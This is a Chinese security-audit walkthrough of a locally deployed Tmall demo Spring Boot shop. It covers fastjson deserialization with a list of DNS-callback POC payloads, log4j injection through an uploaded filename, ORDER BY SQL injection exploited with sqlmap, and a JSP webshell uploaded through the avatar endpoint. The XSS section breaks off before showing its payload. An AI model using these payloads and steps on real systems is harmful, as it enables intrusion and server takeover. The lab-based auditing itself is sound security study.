前言
介绍
环境搭建
环境搭建:下载源码后,直接使用IDEA打开,因为项目使用springboot搭建,所以无需手动配置服务器。
启动本地Mysql,在 src/main/resources/application.properties中修改Mysql账号密码。创建并导入数据库
create database tmalldemodb;
use tmalldemodb;
source \Tmall_demo\sqls\tmalldemodb.sql
前台:http://127.0.0.1:8060/tmall/
账号密码:
a120/123456
MRJIANG/123456
后台:http://127.0.0.1:8060/tmall/admin
账号密码:
admin/123456
漏洞审计
fastjson
查看pom.xml文件得知项目使用了fastjson组件,且版本为1.2.58,存在反序列化漏洞。fastjson解析json字符串主要通过两个方法
JSON.parseObject()
JSON.parse()
全局对这两个函数进行检索,发现存在JSON.parseObject()
跟入ProductController.java文件,发现该方法对字段propertyJson进行了解析,再向上回溯该参数,发现后在admin/product页面中,后端从前端请求中获取了该参数的值。
@ResponseBody
@RequestMapping(value = "admin/product", method = RequestMethod.POST,produces = "application/json;charset=utf-8")
public String addProduct(@RequestParam String product_name/* 产品名称 */,
@RequestParam String product_title/* 产品标题 */,
@RequestParam Integer product_category_id/* 产品类型ID */,
@RequestParam Double product_sale_price/* 产品促销价 */,
@RequestParam Double product_price/* 产品原价 */,
@RequestParam Byte product_isEnabled/* 产品状态 */,
@RequestParam String propertyJson/* 产品属性JSON */,
@RequestParam(required = false) String[] productSingleImageList/*产品预览图片名称数组*/,
@RequestParam(required = false) String[] productDetailsImageList/*产品详情图片名称数组*/) {
JSONObject jsonObject = new JSONObject();
logger.info("整合产品信息");
Product product = new Product()
.setProduct_name(product_name)
.setProduct_title(product_title)
.setProduct_category(new Category().setCategory_id(product_category_id))
.setProduct_sale_price(product_sale_price)
.setProduct_price(product_price)
.setProduct_isEnabled(product_isEnabled)
.setProduct_create_date(new Date());
logger.info("添加产品信息");
boolean yn = productService.add(product);
if (!yn) {
logger.warn("产品添加失败!事务回滚");
jsonObject.put("success", false);
throw new RuntimeException();
}
int product_id = lastIDService.selectLastID();
logger.info("添加成功!,新增产品的ID值为:{}", product_id);
JSONObject object = JSON.parseObject(propertyJson);
登录后台,所有产品—添加一件产品,随意填写一些数据后提交,再进行抓包。
可以看到漏洞出发点propertyJson参数,将其值替换为DNS回显Payload
可以看到回显
其他几个fastjson漏洞触发点:
1.ProductController.java#updateProduct()的propertyAddJson参数和propertyUpdateJson参数,前端位于所有产品—产品详情—保存 2.ForeOrderController.java#updateOrderItem()的orderItemMap参数和orderItemJSON参数,前端前者位于购物车—结算,后者位于购物车—结算—提交订单
其他fastjson漏洞的DNS回显验证POC
{"zeo":{"@type":"java.net.Inet4Address","val":"dnslog"}}
{"@type":"java.net.Inet4Address","val":"dnslog"}
{"@type":"java.net.Inet6Address","val":"dnslog"}
{"@type":"java.net.InetSocketAddress"{"address":,"val":"dnslog"}}
{"@type":"com.alibaba.fastjson.JSONObject", {"@type": "java.net.URL", "val":"dnslog"}}""}
{{"@type":"java.net.URL","val":"dnslog"}:"aaa"}
Set[{"@type":"java.net.URL","val":"dnslog"}]
Set[{"@type":"java.net.URL","val":"dnslog"}
{{"@type":"java.net.URL","val":"dnslog"}:0
log4j
查看pom.xml文件得知项目使用了log4j-core组件,该组件漏洞主要发生在引入的log4j-core,log4j-api是不存在该问题的。log4j-core是源码,log4j-api是接口。且版本为2.10.0,存在反序列化漏洞。log4j漏洞触发点为logger类的方法
全局检索,可以看到存在很多logger.info()方法
我们去寻找可以利用的注入点,先看这个addressId,它的值是硬编码在代码中的,不是从前端请求中获取,所以不可利用。
再看adminId参数,checkAdmin()方法从session中获取adminId的值,不为空返回,并传入logger.info()方法。但我抓包发现并没有session头和adminId字段的值。checkUser()方法同理。
再比如productImage_id参数,被限定为Integer类型,无法利用。
我们找到前台用户头像上传处,它将文件名传给了logger.info()方法。
抓包,修改文件名为POC
得到DNS响应
应该还有其他log4j漏洞触发点。
SQL注入
查看pom.xml文件得知项目使用了mybatis组件,全局检索是否使用”${“进行SQL拼接。可以看到order by处使用了”$”拼接,order by或者标明作参数时,不能使用”#{“进行拼接,所以应采取其他防止SQL注入的措施。
我们看UserMapper.xml中的ORDER BY
<select id="select" resultMap="userMap">
SELECT user_id,user_name,user_nickname,user_password,user_realname,user_gender,user_birthday,user_profile_picture_src,user_address,user_homeplace FROM user
<if test="user != null">
<where>
<if test="user.user_name != null">
(user_name LIKE concat('%',#{user.user_name},'%') or user_nickname LIKE concat('%',#{user.user_name},'%'))
</if>
<if test="user.user_gender != null">
and user_gender = #{user.user_gender}
</if>
</where>
</if>
<if test="orderUtil != null">
ORDER BY ${orderUtil.orderBy}<if test="orderUtil.isDesc">desc </if>
</if>
<if test="pageUtil != null">
LIMIT #{pageUtil.pageStart},#{pageUtil.count}
</if>
</select>
在Java代码中搜索UserMapper.select
在UserServiceImpl.java文件中
public List<User> getList(User user, OrderUtil orderUtil, PageUtil pageUtil) {
return userMapper.select(user,orderUtil,pageUtil);
}
再全局搜索UserService.getList
第一个调用中参数orderUtil的值被写死为”null”,所以看第二个
//按条件查询用户-ajax
@ResponseBody
@RequestMapping(value = "admin/user/{index}/{count}", method = RequestMethod.GET, produces = "application/json;charset=UTF-8")
public String getUserBySearch(@RequestParam(required = false) String user_name/* 用户名称 */,
@RequestParam(required = false) Byte[] user_gender_array/* 用户性别数组 */,
@RequestParam(required = false) String orderBy/* 排序字段 */,
@RequestParam(required = false,defaultValue = "true") Boolean isDesc/* 是否倒序 */,
@PathVariable Integer index/* 页数 */,
@PathVariable Integer count/* 行数 */) throws UnsupportedEncodingException {
//移除不必要条件
Byte gender = null;
if (user_gender_array != null && user_gender_array.length == 1) {
gender = user_gender_array[0];
}
if (user_name != null) {
//如果为非空字符串则解决中文乱码:URLDecoder.decode(String,"UTF-8");
user_name = "".equals(user_name) ? null : URLDecoder.decode(user_name, "UTF-8");
}
if (orderBy != null && "".equals(orderBy)) {
orderBy = null;
}
//封装查询条件
User user = new User()
.setUser_name(user_name)
.setUser_gender(gender);
OrderUtil orderUtil = null;
if (orderBy != null) {
logger.info("根据{}排序,是否倒序:{}",orderBy,isDesc);
orderUtil = new OrderUtil(orderBy, isDesc);
}
JSONObject object = new JSONObject();
logger.info("按条件获取第{}页的{}条用户", index + 1, count);
PageUtil pageUtil = new PageUtil(index, count);
List<User> userList = userService.getList(user, orderUtil, pageUtil);
object.put("userList", JSONArray.parseArray(JSON.toJSONString(userList)));
logger.info("按条件获取用户总数量");
Integer userCount = userService.getTotal(user);
object.put("userCount", userCount);
logger.info("获取分页信息");
pageUtil.setTotal(userCount);
object.put("totalPage", pageUtil.getTotalPage());
object.put("pageUtil", pageUtil);
return object.toJSONString();
}
}
漏洞点是在管理后台,按条件查询用户处,抓包,在orderBy处加个星号。
GET /tmall/admin/user/0/10?user_name=11&user_gender_array=0&user_gender_array=1&orderBy=*&isDesc=true HTTP/1.1
Host: 127.0.0.1:8060
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:109.0) Gecko/20100101 Firefox/113.0
Accept: */*
Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
Accept-Encoding: gzip, deflate
X-Requested-With: XMLHttpRequest
Connection: close
Referer: http://127.0.0.1:8060/tmall/admin
Cookie: username=admin; JSESSIONID=06E92627BE91B4F01C1CB3F62D7F65D0; addressId=110000; cityAddressId=110100; districtAddressId=110101; order_post=; order_receiver=111; order_phone=18900001111; detailsAddress=1; username=admin; _jspxcms=5bbf48a9779246a9b5ea150b813dcd02
Sec-Fetch-Dest: empty
Sec-Fetch-Mode: cors
Sec-Fetch-Site: same-origin
放Sqlmap
任意文件上传漏洞
对于SpingBoot项目来说,想要SpringBoot内嵌的Tomcat对JSP解析,一定要引入相关依赖。
<dependency>
<groupId>org.apache.tomcat.embed</groupId>
<artifactId>tomcat-embed-jasper</artifactId>
<scope>provided</scope>
</dependency>
对于很多SpringBoot项目来说,是无需引入解析JSP依赖的。那么对于任意文件上传漏洞来说,上传JSP木马肯定是没有办法解析的。对于任意文件上传漏洞利用,只能通过内存马等方式进行攻击。
任意文件上传审计时关注的函数
File
FileUpload
FileUploadBase
FileItemIteratorImpl
FileItemStreamImpl
FileUtils
UploadHandleServlet
FileLoadServlet
FileOutputStream
DiskFileItemFactory
MultipartRequestEntity
MultipartFile
com.oreilly.servlet.MultipartRequest
任意文件上传审计时关注的功能点:
头像图片上传、文档上传等
我们查看用户头像上传功能,发现没有进行文件后缀校验
//前台天猫-用户更换头像
@ResponseBody
@RequestMapping(value = "user/uploadUserHeadImage", method = RequestMethod.POST, produces = "application/json;charset=utf-8")
public String uploadUserHeadImage(@RequestParam MultipartFile file, HttpSession session
){
String originalFileName = file.getOriginalFilename();
logger.info("获取图片原始文件名:{}", originalFileName);
String extension = originalFileName.substring(originalFileName.lastIndexOf('.'));
String fileName = UUID.randomUUID() + extension;
String filePath = session.getServletContext().getRealPath("/") + "res/images/item/userProfilePicture/" + fileName;
logger.info("文件上传路径:{}", filePath);
JSONObject jsonObject = new JSONObject();
try {
logger.info("文件上传中...");
file.transferTo(new File(filePath));
logger.info("文件上传成功!");
jsonObject.put("success", true);
jsonObject.put("fileName", fileName);
} catch (IOException e) {
logger.warn("文件上传失败!");
e.printStackTrace();
jsonObject.put("success", false);
}
return jsonObject.toJSONString();
}
抓包,修改文件名后缀为jsp,修改Content-Type头的值为text/html,后一个不是必须的。将文件内容替换为木马。
发包,返回了处理后的文件名。
可以代码审计得出路径。
这里从渗透角度出发看下,在前端F12查看上传文件路径:
拼接文件路径
http://127.0.0.1:8060/tmall/res/images/item/userProfilePicture/42a8bedf-6f10-4062-bbc1-2e4f8ad529b4.jsp
冰蝎连接
XSS
从开发视觉来看防护XSS漏洞,大多是过滤/转义用户的输入和输出。对于开发人员来说,不可能对每一个输入和输出点进行过滤/转义。一般常使用filter层(过滤器)或拦截器进行统一过滤。
或者所使用的前端框架自带防XSS机制。所以,我们审计XSS漏洞第一步看看filter层是否存在XSS过滤代码。对本项目审计发现filter层并没有关于防护XSS的代码
我们看看使用的前端框架是什么,版本是多少,以及是否存在防XSS漏洞机制。经过一番查找,发现pom.xml和webapp文件下,都表明使用了传统的JSP。JSP大多配合Filter进行XSS防护,上述我们发现filter层并没有XSS防护机制
在后台—管理员昵称处添加payload